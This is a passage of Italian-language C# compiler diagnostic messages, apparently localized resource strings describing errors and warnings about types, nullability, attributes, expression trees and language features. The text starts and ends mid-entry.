'{1}'. + L'espressione specificata è sempre del tipo fornito ('{0}') + I riferimenti al file di origine non sono supportati. + Il modificatore del tipo di riferimento del parametro non corrisponde al parametro corrispondente nel membro nascosto. + '{0}': i tipi statici non possono essere usati come tipi restituiti + Non è stato definito nessun ordine tra i campi in più dichiarazioni di struct parziale '{0}'. Per specificare un ordine, tutti i campi dell'istanza devono essere inclusi nella stessa dichiarazione. + Accessibilità incoerente: il tipo di indicizzatore restituito '{1}' è meno accessibile dell'indicizzatore '{0}' + Il campo conforme a CLS non può essere volatile + Nuove linee all'interno di una stringa interpolata non verbatim non sono supportate in C# {0}. Usare la versione del linguaggio {1} o le versioni successive. + Accessibilità incoerente: il tipo parametro '{1}' è meno accessibile del metodo '{0}' + l'albero deve avere un nodo radice con SyntaxKind.CompilationUnit + È possibile usare come istruzione solo le espressioni di assegnazione, chiamata, incremento, decremento, attesa e nuovo oggetto + L'elemento CallerFilePathAttribute applicato al parametro '{0}' non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + params non è valido in questo contesto + Un'espressione lambda dell'albero delle espressioni non può contenere un parametro in, out o ref + Non è possibile utilizzare il tipo file locale '{0}' in una direttiva 'global using static'. + Non è possibile inizializzare il tipo '{0}' con un inizializzatore di raccolta perché non implementa 'System.Collections.IEnumerable' + I criteri di ricerca non sono consentiti per i tipi di puntatore. + Un'espressione di tipo '{0}' corrisponde sempre al criterio specificato. + La funzionalità '{0}' è attualmente disponibile in anteprima e *non è supportata*. Per usare funzionalità in anteprima, scegliere la versione del linguaggio 'preview'. + Il primo operando di un operatore di spostamento sovraccaricato deve avere lo stesso tipo del tipo contenitore + inizializzatore di proprietà automatica + Si è verificato un errore durante la lettura della risorsa '{0}' - '{1}' + È prevista la direttiva per il preprocessore + Il primo operando di un operatore di spostamento sovraccaricato deve avere lo stesso tipo del tipo che lo contiene o del relativo parametro di tipo vincolato ad esso + 'non è possibile usare 'await' in un'espressione contenente il tipo '{0}' + Non è possibile specificare i modificatori di accessibilità per entrambe le funzioni di accesso della proprietà o dell'indicizzatore '{0}' + Le dichiarazioni di metodo parziali presentano differenze di firma. + Il metodo '{0}' dell'inizializzatore di modulo non deve essere generico e non deve essere contenuto in un tipo generico + I nomi di elementi di tupla devono essere univoci. + Il nome del linguaggio non è valido + '{0}': non è possibile chiamare in modo esplicito l'operatore o la funzione di accesso + '{0}' non può essere di tipo extern e contenere un inizializzatore di costruttore + Il tipo valore nullable non può essere Null. + Le proprietà implementate automaticamente non possono essere restituite per riferimento + I valori letterali della stringa non elaborata su più righe sono consentiti solo in stringhe verbatim interpolate. + Manca lo spazio vuoto obbligatorio. + Manca il riferimento al netmodule '{0}'. + Uso del campo probabilmente non assegnato '{0}'. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente il campo come predefinito. + '{0}' definisce 'Equals' ma non 'GetHashCode' + L'operazione ha causato un overflow dello stack. + variabile di iterazione foreach + '{0}': non è possibile eseguire l'override. '{1}' non è un evento + 'TypeForwardedToAttribute è duplicato in '{0}' + La lunghezza dei buffer a dimensione fissa deve essere maggiore di zero + 'Non è possibile usare 'await' come identificatore all'interno di un metodo asincrono o di un'espressione lambda + Il valore costante '{0}' non può essere convertito in '{1}'. Usare la sintassi 'unchecked' per eseguire l'override + L'identificatore non è conforme a CLS + inizializzatore di dizionario + Si è verificato un errore interno nel compilatore C#. + CallerArgumentExpressionAttribute applicato al parametro '{0}' non avrà alcun effetto. CallerLineNumberAttribute ne eseguirà l'override. + In questo modo viene restituito un parametro per riferimento, ma l'ambito è limitato al metodo corrente + Il parametro '{0}' deve avere un valore non Null quando viene terminato perché il parametro '{1}' è non Null. + stringhe interpolate + Non tutti i percorsi del codice restituiscono un valore in {0} di tipo '{1}' + Possibile confronto non intenzionale dei riferimenti. Eseguire il cast del lato sinistro + Non è stato trovato alcun costruttore di copia accessibile nel tipo di base '{0}'. + Il membro posizionale '{0}' trovato e corrispondente a questo parametro è nascosto. + Non è possibile risolvere il percorso del file '{0}' specificato per l'argomento denominato '{1}' per l'attributo PermissionSet + Numero non valido + Le impostazioni cultura dell'assembly '{0}' al quale si fa riferimento sono diverse da '{1}'. + Riferimento ambiguo nell'attributo cref + Il primo parametro di un metodo di estensione non può essere di tipo '{0}' + riferimenti di sola lettura + '{0}' è un '{1}', che non è un costrutto valido nel contesto specificato + Il metodo di overload '{0}' che differisce solo per out o ref o per numero di dimensioni della matrice non è conforme a CLS + Tipo parametro 'void' non è valido + Vincoli non consentiti su dichiarazioni non generiche + Il commento XML contiene l'attributo cref che è sintatticamente errato + metodi anonimi + L'annotazione per i tipi riferimento nullable deve essere usata solo nel codice in un contesto di annotations '#nullable'. + Un albero delle espressioni non può contenere un'espressione throw. + Non è possibile convertire il tipo '{0}' in '{1}' + L'espressione di filtro è una costante 'false'. Provare a rimuovere il blocco try-catch + Non è possibile specificare più volte l'argomento denominato '{0}' + L'identificatore del tipo matrice, [], deve trovarsi prima del nome del parametro + Non è possibile convertire Null in '{0}' perché è un tipo valore che non ammette i valori Null + Il riferimento '{0}' dell'analizzatore è stato specificato più volte + Il modificatore 'partial' può trovarsi solo immediatamente prima di 'class', 'record', 'struct', 'interface' o il tipo restituito di un metodo. + Il metodo '{0}' deve essere non generico per corrispondere a '{1}'. + Il tipo non implementa il criterio di raccolta. Il membro non è un metodo di estensione o istanza pubblico. + Il tipo dell'argomento dell'attributo DefaultParameterValue deve corrispondere al tipo del parametro + Non esiste alcun tipo di destinazione per '{0}' + L'opzione dell'alias di riferimento non è valida: '{0}='. Manca il nome file + Il tipo '{0}' non può essere usato per un campo di un record. + La proprietà di campo o implementata automaticamente non può essere di tipo '{0}' a meno che non sia un membro di istanza di uno struct ref. + Varianza non valida: il parametro di tipo '{1}' deve essere {3} valido in '{0}' a meno che non venga usata la versione '{4}' o successiva del linguaggio. '{1}' è {2}. + La direttiva using è già presente come using globale + CallerArgumentExpressionAttribute applicato al parametro '{0}' non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + L'argomento denominato '{0}' viene usato nella posizione errata ma è seguito da un argomento non denominato + I membri del campo di sola lettura '{0}' non possono essere restituiti per riferimento scrivibile + Non è possibile usare un'espressione di tipo '{0}' come argomento per un'operazione inviata dinamicamente. + Non sono consentite espressioni di query sul tipo di origine 'dynamic' o con una sequenza di join di tipo 'dynamic' + L'opzione '{0}' esegue l'override dell'attributo '{1}' specificato in un file di origine o in un modulo aggiunto + '{0}': i nomi dei membri non possono essere uguali a quelli del tipo di inclusione + '{0}': il tipo usato in un'istruzione using asincrona deve essere convertibile in modo implicito in 'System.IAsyncDisposable' o implementare un metodo 'DisposeAsync' adatto. Si intendeva 'using' invece di 'await using'? + Il parametro '{0}' è indicato dopo '{1}' nell'elenco di parametri, ma viene usato come argomento per le conversioni del gestore di stringhe interpolate. Al chiamante verrà richiesto di riordinare i parametri con argomenti denominati nel sito di chiamata. Provare a inserire il parametro del gestore di stringhe interpolate dopo tutti gli argomenti interessati. + Il nome dell'algoritmo hash non è valido: '{0}' + La parola chiave contestuale 'var' può essere specificata solo all'interno di una dichiarazione di variabile locale o in codice script + Un albero delle espressioni può non contenere un accesso del membro di interfaccia statico astratto o virtuale + '{0}' non è un numero di base dell'immagine valido + Un evento Windows Runtime non può essere passato come parametro out o ref. + L'istanza di tipo '{0}' non può essere usata all'interno di una funzione annidata, un'espressione di query, un blocco iteratore o un metodo asincrono + '{0}' non implementa il membro di interfaccia '{1}'. '{2}' non può implementare '{1}' perché non ha il tipo restituito corrispondente di '{3}'. + L'argomento deve essere passato con la parola chiave 'ref' o 'in' + criteri di proprietà estesa + Il tipo di una delle espressioni nella clausola {0} non è corretto. L'inferenza del tipo non è riuscita nella chiamata a '{1}'. + Il commento XML contiene l'attributo cref che fa riferimento a un parametro di tipo + Il tipo locale del file '{0}' non può usare modificatori di accessibilità. + Il parametro del costruttore primario '{0}' è ombreggiato da un membro della base. + È previsto il nome di un metodo + Non è possibile usare la variabile locale fissa '{0}' in un metodo anonimo, in un'espressione lambda o in un'espressione di query + Il metodo '{0}' non verrà usato come punto di ingresso perché è stato trovato un punto di ingresso sincrono '{1}'. + __arglist non è valido in questo contesto + Il membro '{0}' deve avere un valore non Null quando viene terminato. + Gli elementi non possono essere Null. + Non è un simbolo di C#. + Non è possibile convertire il gruppo di &metodi '{0}' nel tipo di puntatore non a funzione '{1}'. + '{0}': i tipi statici non possono essere usati come parametri + Solo 'using static' o 'using alias' può essere 'unsafe'. + Il tipo '{0}' esportato dal modulo '{1}' è in conflitto con il tipo dichiarato nel modulo primario di questo assembly. + L'espressione switch non gestisce tutti i possibili valori del relativo tipo di input (non è esaustiva). + tipi costruiti non gestiti + Prende l'indirizzo di, ottiene le dimensioni di o dichiara un puntatore a un tipo gestito + La stringa di versione specificata '{0}' non è conforme al formato richiesto: principale[.secondaria[.build[.revisione]]] + L'istruzione foreach non può funzionare con variabili di tipo '{0}' perché implementa più creazioni di un'istanza di '{1}'. Provare a eseguire il cast su una creazione di un'istanza di interfaccia specifica + Il commento XML ha un tag param, ma non esiste nessun parametro con questo nome + È previsto un identificatore + criteri di ricerca + L'alias using non può essere un tipo riferimento nullable. + CallerMemberNameAttribute non avrà alcun effetto. CallerFilePathAttribute ne eseguirà l'override + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + tipi di file + L'albero delle espressioni non può contenere un accesso di base + Un parametro può avere un solo modificatore '{0}' + L'etichetta '{0}' non esiste nell'ambito dell'istruzione goto + Il codice di tipo unsafe è ammesso solo se si compila con /unsafe + Non è possibile mantenere un riferimento restituito da una chiamata a '{0}' oltre il limite 'await' o 'yield'. + '{0}': i membri virtuali o astratti non possono essere privati + CallerArgumentExpressionAttribute viene applicato con un nome di parametro non valido. + campi posizionali nei record + membri readonly + Le impostazioni cultura dell'assembly di riferimento sono diverse + Il primo parametro 'in' o 'ref readonly' del metodo di estensione '{0}' deve essere un tipo di valore concreto (non generico). + Non è stato possibile inizializzare il generatore '{0}'. Non contribuirà quindi all'output ed è possibile che si verifichino errori di compilazione. Eccezione di tipo '{1}' con messaggio '{2}'. +{3} + Non è possibile usare un valore di tipo '{0}' come parametro predefinito per il parametro nullable '{1}' perché '{0}' non è un tipo semplice + Non è possibile usare un valore di tipo '{0}' come parametro predefinito. Non sono disponibili conversioni standard nel tipo '{1}' + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' non corrisponde al membro implementato '{1}'. + '{0}' deve essere obbligatorio perché esegue l’override del membro obbligatorio '{1}' + '{0}' è di tipo astratto ma è contenuto nel tipo non astratto '{1}' + dinamico + Possibile assegnazione di riferimento Null. + Non è possibile restituire per riferimento un membro del parametro '{0}' perché ha come ambito il metodo corrente + Il modulo '{0}' nell'assembly '{1}' inoltra il tipo '{2}' a più assembly '{3}' e '{4}'. + Dopo l'avviso della direttiva #pragma è previsto 'disable' o 'restore' + Il valore '{0}' di SecurityAction non è valido per gli attributi di sicurezza applicati a un tipo o a un metodo + '{0}' è {1} ma è usato come {2} + Il membro di record '{0}' deve restituire '{1}'. + Le direttive per il preprocessore devono trovarsi all'inizio di una riga + campo + matrice + Using Alias + separatori di cifra + Uso del campo probabilmente non assegnato '{0}'. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente il campo come predefinito. + Non è consentito usare il tipo riferimento nullable '{0}?' in un'espressione is-type. Usare il tipo sottostante '{0}'. + Il parametro '{0}' deve avere un valore non Null quando viene terminato. + evento + Il modificatore '{0}' non è valido per questo elemento + rimozioni + Nel file di chiave '{0}' manca la chiave privata necessaria per la firma + etichetta + Un'espressione __arglist può trovarsi solo all'interno di una chiamata o di un'espressione new + L'algoritmo '{0}' non è supportato + Il metodo deve avere un tipo restituito + parametro di tipo + Le enumerazioni non possono contenere costruttori espliciti senza parametri + '{0}', a cui è assegnato l'attributo 'UnmanagedCallersOnly', non può essere chiamato direttamente. Ottenere un puntatore a funzione per questo metodo. + I modificatori di accessibilità devono essere identici in entrambe le dichiarazioni di metodo parziale. + Non è una posizione valida dell'attributo per questa dichiarazione + Si è verificato un errore di crittografia durante la creazione di hash. + Questo metodo può essere usato solo per creare token - {0} non è un tipo di token. + Non è possibile usare il membro '{0}' in questo attributo. + '{0}' non può definire un elemento {1} in rapporto di overload che differisce solo per i modificatori di parametro '{2}' e '{3}' + Il puntatore a funzione '{0}' non accetta {1} argomenti + Operatore di eliminazione Null duplicato ('!') + Il supporto dei valori Null dei tipi riferimento nel tipo non corrisponde al membro di cui è stato eseguito l'override. + Il nome '{0}' non esiste nel contesto corrente. Probabilmente manca un riferimento all'assembly '{1}'. + La parola chiave 'base' non è disponibile nel contesto corrente + Non è possibile usare la variabile locale '{0}' prima che sia dichiarata + using asincrono + La stringa letterale ']]>' non è consentita nel contenuto dell'elemento. + '{0}': non è possibile implementare un'interfaccia dinamica '{1}' + dichiarazione di variabili di espressione in query e inizializzatori di membri + Il runtime di destinazione non supporta i campi di riferimento. + Non è possibile intercettare la chiamata a '{0}' con '{1}' a causa di una differenza nei modificatori 'scoped' o negli attributi '[UnscopedRef]'. + Le dichiarazioni di metodo parziali di '{0}' contengono un supporto dei valori Null incoerente nei vincoli per il parametro di tipo '{1}' + Il parametro non è valido per il tipo non gestito specificato. + opzione /REFERENCEPATH + Un albero delle espressioni non può contenere un riferimento a una funzione locale + Il campo ha più valori costanti distinct. + {0} versione {1} + Copyright (C) Microsoft Corporation. Tutti i diritti sono riservati. + L'attributo di sicurezza '{0}' non è valido in questo tipo di dichiarazione. Gli attributi di sicurezza sono validi solo in dichiarazioni di metodo, assembly e tipi. + using static + Il membro '{0}' aggiunto durante la sessione di debug corrente è accessibile solo dall'interno dell'assembly '{1}' in cui viene dichiarato. + Non è possibile usare #load dopo il primo token del file + Il nome del tipo contiene solo caratteri ascii minuscoli. Tali nomi possono diventare riservati per la lingua. + Un albero delle espressioni non può contenere una dichiarazione di variabile argomento out. + Il tipo non è valido per il parametro {0} nell'attributo cref del commento XML: '{1}' + Non è possibile usare il tipo come parametro di tipo nel tipo generico o nel metodo. Il supporto dei valori Null dell'argomento tipo non corrisponde al vincolo 'class'. + Accessibilità incoerente: il tipo di vincolo '{1}' è meno accessibile di '{0}' + '{0}' non può essere contemporaneamente di tipo abstract e sealed + Il carattere '{0}' è imprevisto + '{0}' non è un argomento di attributo denominato valido. Gli argomenti di attributo denominati devono essere campi che non siano di sola lettura, statici o costanti oppure proprietà di lettura/scrittura che siano pubbliche e non statiche. + La direttiva #pragma non è stata riconosciuta + Non è possibile dichiarare una variabile di tipo statico '{0}' + Per aggiungere un riferimento a un assembly, è stato usato /link (proprietà Incorpora tipi di interoperabilità impostata su True). Questo parametro indica al compilatore di incorporare le informazioni sui tipi di interoperabilità da tale assembly. Il compilatore non è però in grado di incorporare tali informazioni dall'assembly perché anche un altro assembly a cui viene fatto riferimento fa riferimento a tale assembly tramite /reference (proprietà Incorpora tipi di interoperabilità impostata su False). + +Per incorporare le informazioni sui tipi di interoperabilità per entrambi gli assembly, usare /link per i riferimenti ai singoli assembly (impostare la proprietà Incorpora tipi di interoperabilità su True). + +Per rimuovere l'avviso, è invece possibile usare /reference (impostare la proprietà Incorpora tipi di interoperabilità su False). In questo caso, le informazioni sui tipi di interoperabilità verranno fornite da un assembly di interoperabilità primario. + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro implementato '{0}'. + funzione di accesso alla proprietà del corpo dell'espressione + '{0}' definisce l'operatore == o l'operatore != ma non esegue l'override di Object.Equals(object o) + Il numero di argomenti di tipo è errato + '{0}' non implementa il modello '{1}'. La firma di '{2}' è errata. + Con l'istruzione foreach asincrona il tipo restituito '{0}' di '{1}' deve essere associato a un metodo 'MoveNextAsync' pubblico e a una proprietà 'Current' pubblica appropriati + Una dichiarazione di spazio dei nomi non può avere modificatori o attributi + '{0}': il campo dell'istanza nei tipi contrassegnati con StructLayout(LayoutKind.Explicit) deve contenere un attributo FieldOffset + Non è possibile creare un'istanza dell'interfaccia o del tipo astratto '{0}' + Per l'implementazione esplicita dell'interfaccia di un evento è necessario utilizzare la sintassi della funzione di accesso agli eventi + La valutazione del valore della costante per '{0}' implica una definizione circolare + '{0}' non è una posizione valida dell'attributo per questa dichiarazione. Le posizioni valide degli attributi sono '{1}'. Tutti gli attributi in questo blocco verranno ignorati. + Un risultato di un'espressione stackalloc di tipo '{0}' in questo contesto può essere esposto all'esterno del metodo contenitore + '{0}' è ambiguo tra '{1}' e '{2}'. Usare '@{0}' oppure includere in modo esplicito il suffisso 'Attribute'. + È previsto un punto e virgola (;) + La chiamata inviata in modo dinamico potrebbe non riuscire in fase di esecuzione perché uno o più overload applicabili sono metodi condizionali + Lo spazio dei nomi è in conflitto con il tipo importato + Un metodo parziale non può avere più dichiarazioni di implementazione + Non è possibile usare '{0}' come valore out o ref perché è '{1}' + L'accesso a Friend è stato concesso da '{0}', ma lo stato di firma del nome sicuro dell'assembly di output non corrisponde a quello dell'assembly che ha concesso l'accesso. + creazione di oggetti con tipo di destinazione + Un costruttore dichiarato in un record con elenco di parametri deve includere l'inizializzatore di costruttore 'this'. + Il vincolo non può essere un tipo dinamico '{0}' + Non è possibile applicare l'operatore '{0}' all'operando di tipo '{1}' + Un parametro del costruttore primario di un tipo di sola lettura non può essere restituito da un riferimento scrivibile + '{0}': un riferimento a un campo volatile non verrà considerato volatile + Un albero delle espressioni non può contenere un'operazione dinamica + Le variabili locali tipizzate in modo implicito non possono essere di tipo fisso + Il tipo importato '{0}' non è valido perché contiene una dipendenza circolare del tipo di base. + Sono state trovate più implementazioni del modello di query per il tipo di origine '{0}'. Chiamata ambigua a '{1}'. + L'opzione '{0}' della riga di comando non è ancora implementata ed è stata ignorata. + Il supporto dei valori Null dei tipi riferimento nel tipo non corrisponde al membro implementato. + Il metodo, la funzione di accesso o l'operatore '{0}' è contrassegnato come esterno e non include attributi. Provare ad aggiungere un attributo DllImport per specificare l'implementazione esterna. + '{0}' non è un nome di parametro valido da '{1}'. + Accessibilità incoerente: il tipo parametro '{1}' è meno accessibile dell'indicizzatore '{0}' + Il tipo predefinito '{0}' è dichiarato in più assembly di riferimento: '{1}' e '{2}' + proprietà con corpo di espressione + 'RefKind.Out' non è un tipo di modificatore ref valido per un tipo restituito. + stringhe verbatim interpolate alternative + shadowing dei nomi nelle funzioni annidate + L'uso dell'attributo FieldOffset non è consentito nei campi static o const + Non è possibile usare la variabile locale ref '{0}' in un metodo anonimo, in un'espressione lambda o in un'espressione di query + Non è possibile restituire un parametro per riferimento '{0}' perché ha come ambito il metodo corrente + L'operatore '{0}' è ambiguo su operandi di tipo '{1}' e '{2}' + Il tipo restituito di '{0}' non è conforme a CLS + Un braccio dell'espressione switch non inizia con una parola chiave 'case'. + CallerArgumentExpressionAttribute può essere applicato solo a parametri con valori predefiniti + Il riferimento all'assembly verrà considerato come corrispondente all'identità + '{0}' non contiene una definizione di '{1}' e non è stato trovato alcun metodo di estensione '{1}' che accetta un primo argomento di tipo '{0}'. Probabilmente manca una direttiva using per '{2}'. + È stata specificata la firma ritardata per la quale è necessaria una chiave pubblica che però non è stata specificata + L'espressione determinerà sempre un'eccezione System.NullReferenceException perché il valore predefinito di '{0}' è Null. + Gli indicizzatori devono avere almeno un parametro + L'uso di '{0}' per la verifica della compatibilità con '{1}' corrisponde in sostanza alla verifica della compatibilità con '{2}' e verrà completato per tutti i valori non Null + La chiamata indicata viene intercettata più volte. + È previsto un valore di tipo integrale + Non è possibile usare l'argomento come output per il parametro a causa delle differenze nel supporto dei valori Null dei tipi riferimento. + Questa funzionalità del linguaggio ('{0}') non è ancora implementata. + L'albero della sintassi deve essere creato da un invio. + Il nome completo è troppo lungo per le informazioni di debug + È necessario specificare il modificatore 'readonly' dopo 'ref'. + Non è stato trovato un valore per RuntimeMetadataVersion. Non è presente un assembly che contiene System.Object oppure tramite le opzioni non è stato specificato un valore per RuntimeMetadataVersion. + L'annotazione per i tipi riferimento nullable deve essere usata solo nel codice all'interno di un contesto di annotazioni '#nullable'. Il codice generato automaticamente richiede una direttiva '#nullable' esplicita nell'origine. + L'interfaccia contrassegnata con 'CoClassAttribute' non è contrassegnata con 'ComImportAttribute' + matrice di parametri lambda + L'istanza allocata non è stata eliminata in tutti i percorsi delle eccezioni + 'È previsto 'in' + Un assembly di riferimento '{0}' contiene un errore. + Il supporto dei valori Null del tipo del parametro non corrisponde al membro di cui è stato eseguito l'override, probabilmente a causa degli attributi del supporto dei valori Null. + Il nome di elemento di tupla '{0}' non è consentito in nessuna posizione. + Indicizzazione di una matrice con indice negativo. Gli indici di matrice iniziano sempre da zero + L'attributo CLSCompliant non ha significato quando applicato a tipi restituiti. Provare ad applicarlo al metodo. + L'elemento '{0}' specificato per il metodo Main deve essere una classe, un record, un'interfaccia o uno struct non generico valido + Questa combinazione di argomenti potrebbe esporre variabili a cui fa riferimento il parametro al di fuori del relativo ambito di dichiarazione + Il miglior metodo Add di overload '{0}' per l'elemento inizializzatore di raccolta è obsoleto. {1} + Il controllo di conformità a CLS non verrà eseguito perché non è visibile all'esterno dell'assembly + Le dichiarazioni parziali di '{0}' contengono vincoli incoerenti per il parametro di tipo '{1}' + Non è stato trovato l'elemento '{0}' specificato per il metodo Main + Se si usa come valore out o ref un campo di una classe con marshalling per riferimento oppure se ne accetta l'indirizzo, può verificarsi un'eccezione in fase di esecuzione + criterio and + Non è stato specificato alcun argomento corrispondente al parametro obbligatorio '{0}' di '{1}' + Il nome '{0}' non corrisponde al parametro '{1}' di 'Deconstruct' corrispondente. + Il tipo del codice sorgente specificato non è supportato o non è valido: '{0}' + Viene restituito per riferimento un membro del parametro con ambito al metodo corrente + Impossibile specificare un valore predefinito per una matrice di parametri + Assegnazione fatta alla stessa variabile + Nome non valido per un simbolo di pre-elaborazione. '{0}' non è un identificatore valido + '{0}' non può implementare sia '{1}' che '{2}' perché potrebbero unificarsi per alcune sostituzioni di parametro di tipo + Il tipo '{0}' inoltrato all'assembly '{1}' è in conflitto con il tipo '{2}' esportato dal modulo '{3}'. + Il tipo '{2}' deve essere un tipo valore che non ammette i valori Null per poter essere usato come parametro '{1}' nel metodo o nel tipo generico '{0}' + I tipi statici non possono essere usati come tipi restituiti + Il metodo non può essere un punto di ingresso perché la firma è errata + Il modificatore '{0}' è duplicato + in controvarianza + Non è possibile usare i modelli di elenco per un valore di tipo '{0}'. + Non è possibile convertire {0} nel tipo ' {1}' perché il tipo restituito non corrisponde al tipo restituito del delegato + È prevista la parola chiave, l'identificatore o la stringa dopo l'identificatore verbatim: @ + Il modificatore '{0}' non è valido per questo elemento in C# {1}. Usare la versione '{2}' o versioni successive del linguaggio. + Nell'implementazione esplicita dell'interfaccia '{0}' manca la funzione di accesso '{1}' + '{2}' deve essere un tipo non astratto con un costruttore pubblico senza parametri per poter essere usato come parametro '{1}' nel tipo o nel metodo generico '{0}' + '{0}': il tipo che lo contiene non implementa l'interfaccia '{1}' + '{0}': gli struct ref non possono implementare interfacce + Il metodo '{0}' deve essere non generico o avere {1} di grado per corrispondere '{2}'. + Non è stata trovata alcuna implementazione del modello di query per il tipo di origine '{0}'. '{1}' non è presente. Mancano i riferimenti all'assembly richiesti oppure una direttiva using per 'System.Linq'? + Gli operatori definiti dall'utente non possono restituire void + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde al membro implementato in modo implicito. + valori letterali binari + Non è possibile creare matrici con dimensioni negative + eliminazione basata su criteri + classi statiche + vincoli per i metodi di override e di implementazione esplicita dell'interfaccia + Non è possibile usare l'istruzione yield all'interno di un metodo anonimo o di un'espressione lambda + Non è possibile incorporare il tipo '{0}' perché contiene un argomento generico. Provare a impostare la proprietà 'Incorpora tipi di interoperabilità' su false. + Limite di 16.707.565 righe rappresentabili nel PDB superato nel file di origine: le informazioni di debug non saranno corrette + struct ref + operatore di indice + '{0}' non implementa il membro di interfaccia '{1}'. '{2}' è di tipo non pubblico + InterpolatedStringHandlerArgument non ha alcun effetto se viene applicato ai parametri lambda e verrà ignorato nel sito di chiamata. + '{1}' non definisce il parametro di tipo '{0}' + Non usare '_' per una costante di case. + Il tipo di ricevitore '{0}' non è un tipo di record valido e non è un tipo struct. + Non è possibile usare l'operatore typeof nel tipo dinamico + L'operando di un operatore di incremento o decremento deve essere una variabile, una proprietà o un indicizzatore + L'opzione /embed è supportata solo quando si crea un file PDB. + Non è possibile usare l'espressione specificata in un'istruzione fixed + '{0}' non può essere contemporaneamente di tipo extern e abstract + È necessario un oggetto di un tipo convertibile in '{0}' + Non è possibile creare un'istanza della classe statica '{0}' + Uso del campo '{0}' probabilmente non assegnato + Lo switch case on è raggiungibile. È già stato gestito da un case precedente oppure non è possibile trovare una corrispondenza. + '{0}' nasconde il membro ereditato '{1}'. Se questo comportamento è intenzionale, usare la parola chiave new. + Il carattere Unicode non è valido. + Non è possibile convertire in alberi delle espressioni le espressioni lambda che vengono restituite per riferimento + Non è possibile definire una classe o un membro che usa tuple perché non è stato trovato il tipo '{0}' richiesto dal compilatore. Probabilmente manca un riferimento. + Si è verificato un errore durante la firma dell'output con la chiave pubblica del file '{0}' - {1} + '{0}': non è possibile specificare sia una classe constraint che il vincolo 'class' o 'struct' + Metodi anonimi, espressioni lambda, espressioni di query e funzioni locali all'interno di uno struct non possono accedere al parametro del costruttore primario usato anche all'interno di un membro di istanza + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde al metodo intercettabile. + Una direttiva 'using static' può essere applicata solo a tipi. '{0}' è uno spazio dei nomi, non un tipo. Provare a usare una direttiva 'using namespace' + Non è possibile usare un'espressione lambda come argomento per un'operazione inviata dinamicamente senza prima eseguire il cast a un tipo di albero delle espressioni o di delegato. + I valori restituiti per valore possono essere usati solo in metodi che vengono restituiti per valore + Non è possibile usare un risultato di un'espressione a stackalloc di tipo '{0}' in questo contesto perché potrebbe essere esposta all'esterno del metodo che la contiene + attributi generici + L'espressione di filtro è una costante 'true'. Provare a rimuovere il filtro + Tipo non valido specificato come argomento dell'attributo TypeForwardedTo + Non è possibile creare il delegato con '{0}' perché il delegato o un metodo di cui esegue l'override ha un attributo Conditional + In questo contesto non è possibile usare il valore letterale predefinito + Parola chiave imprevista 'unchecked' + L'elenco dei membri obbligatori per '{0}' non è valido e non può essere interpretato. + Non è possibile convertire in modo implicito il tipo '{0}' in '{1}'. È presente una conversione esplicita. Probabilmente manca un cast. + Non è possibile creare un'istanza dell'analizzatore {0} da {1} : {2}. + La direttiva using è già presente in questo spazio dei nomi + Il commento XML contiene l'attributo cref che non è stato possibile risolvere + Non è possibile fare riferimento a 'System.Runtime.CompilerServices.TupleElementNamesAttribute' in modo esplicito. Usare la sintassi della tupla per definire i nomi di tupla. + Numero non valido + Il delegato '{0}' non accetta argomenti {1} + '{0}' nasconde il membro astratto ereditato '{1}' + Parametro di tipo '{0}' duplicato + Il miglior metodo Add di overload per l'elemento inizializzatore di raccolta è obsoleto + criterio corrispondente a ReadOnly/Span<char> su stringa costante + Sono stati specificati valori di checksum diversi per '{0}' + '{0}': l'evento deve essere di un tipo delegato + L'attributo EnumeratorCancellationAttribute applicato al parametro '{0}' non avrà alcun effetto. L'attributo ha effetto solo su un parametro di tipo CancellationToken in un metodo di iteratore asincrono che restituisce IAsyncEnumerable + Dopo yield return è prevista l'espressione + L'opzione /sourcelink è supportata solo quando si crea il file PDB. + Il supporto dei valori Null dei tipi riferimento nel valore non corrisponde al tipo di destinazione. + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde al membro implementato. + Il primo argomento di un attributo di sicurezza deve essere un elemento SecurityAction valido + '{0}': l'evento extern non può avere inizializzatori + Non usare 'System.Runtime.CompilerServices.ScopedRefAttribute'. Usare invece la parola chiave 'scoped'. + Impossibile utilizzare la parola chiave contestuale 'var' in una dichiarazione di variabile di intervallo + L'alias extern non è valido per '/reference'. '{0}' non è un identificatore valido + Il membro nasconde il membro ereditato. Manca la parola chiave override + L'attributo FieldOffset può essere usato solo in membri di tipo contrassegnati con StructLayout(LayoutKind.Explicit) + Il commento XML contiene un tag param duplicato + sicurezza della varianza per i membri di interfaccia statici + tipo + '{0}': i tipi statici non possono essere usati come argomenti di tipo + Un'espressione throw non è consentita in questo contesto. + L'espressione switch non gestisce alcuni valori del relativo tipo di input (non è esaustiva) che interessa un valore di enumerazione senza nome. + CallerLineNumberAttribute applicato al parametro '{0}' non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + È previsto un operatore binario che supporti l'overload + Impossibile trovare il tipo migliore per la matrice tipizzata in modo implicito + Lo spazio vuoto non è consentito in questa posizione. + Il commento XML non si trova in un elemento di linguaggio valido + Impossibile utilizzare dimensioni negative con stackalloc + Errore nella sintassi della riga di comando: manca '{0}' per l'opzione '{1}' + Puntatori e buffer a dimensione fissa possono essere usati solo in un contesto unsafe + Il metodo di overload, che differisce solo per i tipi matrice senza nome, non è conforme a CLS + È necessario assegnare un parametro out prima che il controllo esca dal metodo + Si è verificato un errore durante la compilazione delle risorse Win32 - {0} + Non è possibile usare negli alberi delle espressioni metodi parziali contenenti solo una dichiarazione di definizione o metodi condizionali rimossi + Il nome '{0}' dell'elemento di tupla è dedotto. Usare la versione {1} o una versione successiva del linguaggio per accedere a un elemento in base al relativo nome dedotto. + È probabile che il confronto dei riferimenti non sia intenzionale. Per confrontare i valori, eseguire il cast dell'espressione di destra sul tipo '{0}' + Il commento XML contiene un tag typeparam duplicato + Uso della variabile locale '{0}' non assegnata + I tipi e gli alias non possono essere denominati 'file'. + CallerArgumentExpressionAttribute non avrà alcun effetto. CallerLineNumberAttribute ne eseguirà l'override + L'assembly '{0}' con identità '{1}' 